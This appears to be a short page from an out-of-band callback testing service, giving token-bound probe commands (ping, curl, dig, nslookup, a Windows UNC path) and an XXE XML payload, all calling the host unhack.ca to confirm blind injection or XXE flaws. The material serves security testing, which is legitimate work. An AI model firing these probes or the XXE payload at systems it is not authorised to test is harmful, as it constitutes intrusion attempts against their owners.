$ ping -c1 -p 005ad6813931514be40d95fb01a89d00 unhack.ca
 

$ curl http://unhack.ca/p/5ad6813931514be40d95fb01a89d
 

$ dig 5ad6813931514be40d95fb01a89d @unhack.ca
 

$ dig 5ad6813931514be40d95fb01a89d.ns.unhack.ca
 

C:\> nslookup 5ad6813931514be40d95fb01a89d unhack.ca
 

C:\> type \\unhack.ca\5ad6813931514be40d95fb01a89d\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/5ad6813931514be40d95fb01a89d">]>
    <foo>&xxe;</foo>